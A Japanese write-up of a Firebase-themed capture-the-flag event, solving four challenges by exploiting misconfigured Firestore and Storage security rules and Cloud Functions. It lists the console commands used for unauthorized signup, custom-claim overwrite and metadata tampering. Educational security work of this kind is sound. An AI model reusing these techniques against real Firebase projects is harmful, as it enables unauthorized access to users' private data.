Flatt Security mini CTF #5 Writeup
久しぶりのwriteupです。
これに参加してきました。FirebaseをテーマにしたCTFは多分初じゃないでしょうか。 3完で3位で結構悔しいので、また機会があればリベンジしたいですね。
1問目 Internal
add-flag.js にflagを追加する処理があるようです。
await firebase.firestore().collection('flags').doc('flag').set({
flag: FLAG
});
つまり、/flags/flag が読めれば良いということになります。
次にFirestoreのセキュリティルールを読みます。重要なのは firestore.rules のここの部分
match /flags/flag {
allow get: if (
request.auth != null &&
// メールアドレスのドメインが @flatt.example.test ではない場合は拒否
request.auth.token.email.matches("^.+@flatt.example.test$")
);
}
^.+@flatt.example.test$ にマッチするメールアドレスのアカウントを持っていればよいので、
- Firebase Authenticationでアカウント作成が許可されている
- メールアドレスの認証が必須でない
を満たしていればOKです。こればかりはFirebase Authenticationの設定依存なので実際にAPIを叩きましょう。
~$ http POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSy..." email="aaaa@flatt.example.test" password="H0geh0ge"
これで200が返ってくるので、使用したメールアドレスとパスワードを使ってログインするとflagが降ってきます。
余談:http コマンドはこれです。最近教えてもらって使い始めたんですが、結構便利です
2問目 Posts
await firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({
name: 'FLAG',
body: FLAG,
createdBy: adminUserId,
});
今度は privatePosts/0/{adminUserId} 以下にあるようです。
セキュリティルールは
match /privatePosts/0/{uid}/{postId} {
allow read: if (
request.auth != null
);
request.auth != null は要は「認証したユーザーならなんでもOK」という意味なので、adminのuidがわかれば良いです。
add-flag.js にはこんな処理もあります。
await firebase.firestore().collection('publicPosts').add({
name: 'admin@flatt.tech',
body: "Hello, I'm admin!",
createdBy: adminUserId,
});
つまりadminのuidはpublicPostsから得られます。
read = get + listなので、 postId はcollectionsをlistすることでそのまま得られます。
teaser問題のSDKローダースニペットを拝借しましょう。
(async () => {
const load = (url) =>
new Promise((resolve) => {
const script = document.createElement("script");
script.setAttribute("src", url);
script.onload = resolve;
document.body.appendChild(script);
});
await load("https://www.gstatic.com/firebasejs/8.10.1/firebase.js");
})();
ここで一つTIPSを紹介しておくと、FirebaseのAPI keyなどのconfigは、Firebase Hostingを利用している場合はWebサイトから直接取れます。今回のようにフロントのソースコードも配布されている場合はあまり意味がありませんが、ブラックボックスでやる時は重宝します。
https://{hostname}/__/firebase/init.js にアクセスして、firebase.initializeApp から始まる部分をコピペしてコンソールで実行すれば準備完了です。
publicPostsを漁ります。
(await firebase.firestore().collection('publicPosts').get()).forEach(el => console.log(el.data()))
データがたくさんある時はfilterをかけましょう。
(await firebase.firestore().collection('publicPosts').get()).docs.map(el => el.data()).filter(el => el.name === 'admin@flatt.tech')[0]
adminのuidが e3rd5IxFaOeTb6yFGsA2IRFEw9V2 だとわかりました。
あとはprivatePostsの中身を見るだけです。
(await firebase.firestore().collection('privatePosts/0/e3rd5IxFaOeTb6yFGsA2IRFEw9V2').get()).docs.forEach(el => console.log(el.data()))
3問目 Flatt Clicker
await firebase.firestore().collection('flags').doc('flag').set({
flag: FLAG,
});
毎度おなじみ firestore.rules を確認します。
match /flags/flag {
allow get: if (
request.auth != null &&
request.auth.token.tier == 'HACKER'
);
}
ここが突破できれば良さそうです。request.auth.token はFirebase Authにおけるcustom claimを指します。
custom claimを設定するにはAdmin SDKでの操作が必要です。firebase.json を見ると functions/ 以下にCloud Functionsもあることがわかります。
案の定こんな関数が含まれていました。
export const updateTier = functions .firestore .document("/users/{userId}") .onUpdate(async (change, ctx) => { const data = change.after.data(); try { let tier; if (data.clicks < 10) { tier = "BRONZE"; } else if (data.clicks < 100) { tier = "SILVER"; } else if (data.clicks < 3133333337) { tier = "GOLD"; } else { tier = "HACKER"; } await getAuth().setCustomUserClaims(ctx.params.userId, { tier, ...data, }); return "OK"; } catch (e) { functions.logger.error(e); throw new functions.auth.HttpsError("unavailable", String(e)); } });
functions.firestore.document(...) はFirestoreのトリガーを指します。今回は onUpdate なので、/users/{userId} が更新された時に走る処理のようです。
firestore.rules をチェックすると、
match /users/{uid} {
...
allow update: if (
request.auth != null &&
request.auth.uid == uid &&
request.resource.data.keys().hasAll(['clicks']) &&
request.resource.data.clicks is int &&
request.resource.data.clicks == resource.data.clicks + 1
);
}
とあります。読み解くと、
- updateするデータにはclicks attributeが存在し、
- clicksは整数値かつ現在の値+1である必要がある
となります。しかしfunctionsをよくみてみると、dataはスプレッド構文で後ろから上書きしており、かつ/users/{uid}におけるtier attributeへの書き込みはセキュリティルールで制限されていないので、tierが上書き可能です。
必要な情報は揃ったので、以下手順です。
まず適当なユーザーを作成し、ログインします。
2問目と同じ方法でSDKを初期化します。
/users/{userId} をアップデートします。自身のlocalIdは https://identitytoolkit.googleapis.com/v1/accounts:lookup へのリクエストに対するレスポンスに含まれています。
await firebase.firestore().doc('users/Gt0J4RPYZGRrlwtbIiJ8Xct5KIG2').update({clicks: 2, tier: 'HACKER'})
flagを読みます。
(await firebase.firestore().doc('flags/flag').get()).data()
4問目 NoteExporter
await firebase.firestore().collection('users').doc(adminUserId).collection('notes').add({
note: FLAG,
});
flagは users/{adminUid}/notes 以下にあるようです。
match /users/{userId} {
allow read: if (
request.auth != null
);
match /notes/{noteId} {
allow read: if (
request.auth != null &&
request.auth.uid == userId
);
ようやくまともなルールが出てきました。
adminのnotesを読むためにはadminとしてログインしなければなりません。3問目と同じく、怪しげなCloud Functionsがあるので中身を確認します。
export const exportNote = functions .https .onCall(async (data, ctx) => { try { if (!ctx.auth) { throw new functions.auth.HttpsError("permission-denied", "error"); } const doc = await getFirestore().doc(data.path).get(); const docData = doc.data(); if (docData === undefined) { throw new functions.auth.HttpsError("unavailable", "error"); } const bucket = getStorage().bucket(); const userId = doc.ref.path.split("/")[1]; const storagePath = `exports/${userId}/${uuidv4()}.json`; await bucket.file(storagePath).save(JSON.stringify(docData)); const adminUserId = ( await getAuth().getUserByEmail("admin@flatt.tech") ).uid; await bucket.file(storagePath).setMetadata({ metadata: { allowedUserId: adminUserId, }, }); return { storagePath, }; } catch (e) { functions.logger.error(e); throw new functions.auth.HttpsError("unavailable", String(e)); } });
data.path が自由に指定できるので任意のドキュメントをCloud Storageにexportできます。storageのルールも読んでみます。
match /b/{bucket}/o {
match /exports/{userId}/{fileName} {
allow get: if (
request.auth != null &&
(
request.auth.uid == userId ||
request.auth.uid == resource.metadata.allowedUserId
)
);
// MEMO: 各ユーザーのフォルダは Cloud Functions からしか書き込めないないようにしておく
allow write: if false;
}
// MEMO: それ以外のフォルダは将来的な機能拡張のために書き込めるようにしておく
match /exports/{free=**} {
allow write: if (
request.auth != null &&
request.resource.size < 5 * 1024
);
}
}
match /exports/{free=**} のセクションがあるので、match /exports/{userId}/{fileName} の allow write: if false; は意味を成しません。すなわちメタデータも書き込み可能で、allowedUserId が自身のuidであればデータを読めるようです。
また、Cloud Functions中に
export const createLog = functions .region("asia-northeast1") .firestore .document("users/{userId}/notes/{noteId}") .onCreate(async (snapshot) => { try { await getFirestore().collection("logs").add({ path: snapshot.ref.path, createdAt: new Date().toISOString(), }); } catch (e) { functions.logger.error(e); throw new functions.auth.HttpsError("unavailable", String(e)); } });
とあります。/users/{userid}/notes/{noteId} が作成されたときにdocumentのpathが logs に記録され、
match /logs/{logId} {
allow read: if (
request.auth != null
);
}
このデータは認証済みユーザーから読み放題です。これで必要な情報が揃いました。
まず適当なdocumentをexportします。documentが存在している必要があるので、自身の users/{userId} にしてみます。
https.onCall で定義されたCallable Functionsの呼び出し方は firebase.functions().httpsCallable(functionName)(args) です。
await firebase.functions().httpsCallable('exportNote')({path: 'users/gifWUDgst1fykPwaGlJ4RpkP5Y13'})
レスポンスの storagePath にpathが入っています。
次に保存されたオブジェクトのmetadataを確認します。
await (await firebase.storage().ref().child('exports/gifWUDgst1fykPwaGlJ4RpkP5Y13/c70de088-b3d0-4a22-a939-91e515498738.json')).getMetadata()
customMetadata.allowedUserId にadminのuidが入っています。6W7jG2C619g4BQggdofcIR2OKZv2 だとわかりました。
ついでにupdateMetadataができることを確認しておきます。1
await firebase.storage().ref().child('exports/gifWUDgst1fykPwaGlJ4RpkP5Y13/c70de088-b3d0-4a22-a939-91e515498738.json').updateMetadata({customMetadata: {allowedUserId: 'gifWUDgst1fykPwaGlJ4RpkP5Y13'}})
updateMetadata の引数は {customMetadata: metadata} の形で指定する必要があることに注意しましょう。
adminのnoteを特定します。
(await firebase.firestore().collection('logs').get()).docs.map(el => el.data()).filter(el => el.path.includes('6W7jG2C619g4BQggdofcIR2OKZv2'))[0]
users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr だとわかりました。あとは上記の手順を繰り返します。
exportします。
await firebase.functions().httpsCallable('exportNote')({path: 'users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr'})
metadataを書き換えます。
await firebase.storage().ref().child('exports/6W7jG2C619g4BQggdofcIR2OKZv2/18513eaa-0b64-4bb8-b17d-a1c55a5ed35d.json').updateMetadata({customMetadata: {allowedUserId: 'gifWUDgst1fykPwaGlJ4RpkP5Y13'}})
データにアクセスします。getDownloadURL でアクセス可能なURLを発行できます。
await (await firebase.storage().ref().child('exports/6W7jG2C619g4BQggdofcIR2OKZv2/18513eaa-0b64-4bb8-b17d-a1c55a5ed35d.json').getDownloadURL())
終わりに
前回のmini CTFでAWSがテーマになっていたことを思い出しました。
- Incognitoでuser attributeが自由に指定できる
- S3 objectのContent-Typeが書き換えられる
というもので、これらはいずれもAWSの仕様を正しく理解していないために起こった問題でした。
今回もFirebase Authenticationでアカウントの作成を許可していたり、セキュリティルールの仕様への理解不足に起因する問題をテーマとしています。
例えばFirestoreのセキュリティルールにはきちんとしたドキュメントがあるのですが、
その複雑さゆえに、いざアプリケーションを書くとなると脆弱性を埋め込んでしまうケースが多いです。
FirestoreはドキュメントDBなので、スキーマレスのデータを簡単に格納することができます。 しかし特定のattributeへのアクセスのみを禁止することができないなど、「これできないの?」と思うような仕様が潜んでいます。 アプリを設計する段階でFirestoreのスキーマを考慮しないと、そもそもセキュリティリスクなしには実現できなかったり、開発時に非常に大きな負担(複雑なクエリを書く必要など)が生じることもあります。
このように、新しいサービスを利用するときはそのサービスが持つ特性や設計思想を理解して初めて、その真価を引き出すことができます。 AWSやFirebaseに限らず、便利なサービスは多機能ゆえに思わぬところに落とし穴があります。ドキュメントを読み、正しく仕様を理解することがとても重要です。
作問してくださった@Sz4rnyさん、Flatt Securityの皆さんありがとうございました!リベンジしたいので次回作お待ちしています!2